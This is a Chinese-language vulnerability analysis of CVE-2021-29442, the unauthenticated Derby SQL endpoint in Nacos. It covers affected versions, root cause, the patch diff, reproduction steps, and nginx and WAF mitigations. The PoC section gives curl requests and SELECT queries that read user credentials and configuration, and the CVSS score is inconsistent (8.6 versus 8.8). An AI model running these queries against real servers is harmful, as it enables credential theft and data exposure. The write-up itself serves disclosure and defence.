一、漏洞简介

1.1 漏洞背景

2021年4月,Nacos 被披露存在 SQL 注入漏洞。在 Nacos 1.4.1 之前的版本中,ConfigOpsController 的 /derby 端点未受保护,允许攻击者执行任意 SQL 查询。该漏洞也被称为 CNVD-2020-67618。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-29442
危害等级 HIGH / 8.6
漏洞类型 Derby SQL 注入
披露时间 2021-04-27
影响组件 Nacos
项目 内容
CVE 编号 CVE-2021-29442 / CNVD-2020-67618
危害等级 高危(High)
CVSS 评分 8.8
漏洞类型 SQL 注入
影响 数据泄露、数据篡改、潜在 RCE
公开日期 2021年4月27日
<hr />

补充核验信息:公开时间:2021-04-27;NVD 评分:8.6(HIGH);CWE:CWE-306。

二、影响范围

2.1 受影响的版本

  • Nacos 0.1.0 - 1.4.1

2.2 不受影响的版本

  • Nacos 1.4.2+

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nacos 使用内置 Derby 数据库(standalone 模式默认)
  2. 攻击者能访问 /nacos/v1/cs/ops/derby 端点
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Nacos 的 ConfigOpsController 提供了 /derby 端点用于执行数据库管理操作。该端点未添加 @Secured 注解进行权限保护,攻击者可直接发送 SQL 查询请求。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞位置:nacos-config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java

问题代码片段

@GetMapping("/derby")
public RestResult<String> derby(@RequestParam("sql") String sql) {
    // 直接执行 SQL,无权限检查
    return derbyService.query(sql);
}

补丁对比

+ @Secured(action = ActionTypes.READ)
  @GetMapping("/derby")
  public RestResult<String> derby(@RequestParam("sql") String sql) {
      return derbyService.query(sql);
  }
<hr />

四、漏洞复现(可选)

4.1 环境搭建

docker run -d --name nacos \
  -e MODE=standalone \
  -p 8848:8848 \
  nacos/nacos-server:1.4.0

4.2 PoC 演示与测试过程

查询用户表

curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+user,password+from+users'

查询所有配置

curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+*+from+config_info'

其他可用 SQL

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from config_info
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Nacos 1.4.2 或更高版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

限制 /derby 端点访问

location /nacos/v1/cs/ops/derby {
    deny all;
}

WAF 规则

SecRule REQUEST_URI "@contains /nacos/v1/cs/ops/derby" "deny,log,msg:'Nacos Derby SQL Injection'"
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/alibaba/nacos/pull/4517
  • https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2021-29442
  • CVE:https://www.cve.org/CVERecord?id=CVE-2021-29442
  • https://github.com/alibaba/nacos/pull/4517
  • https://github.com/advisories/GHSA-36hp-jr8h-556f
  • https://github.com/alibaba/nacos/issues/4463
  • http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+user,password+from+users'
  • http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+*+from+config_info'
  • https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/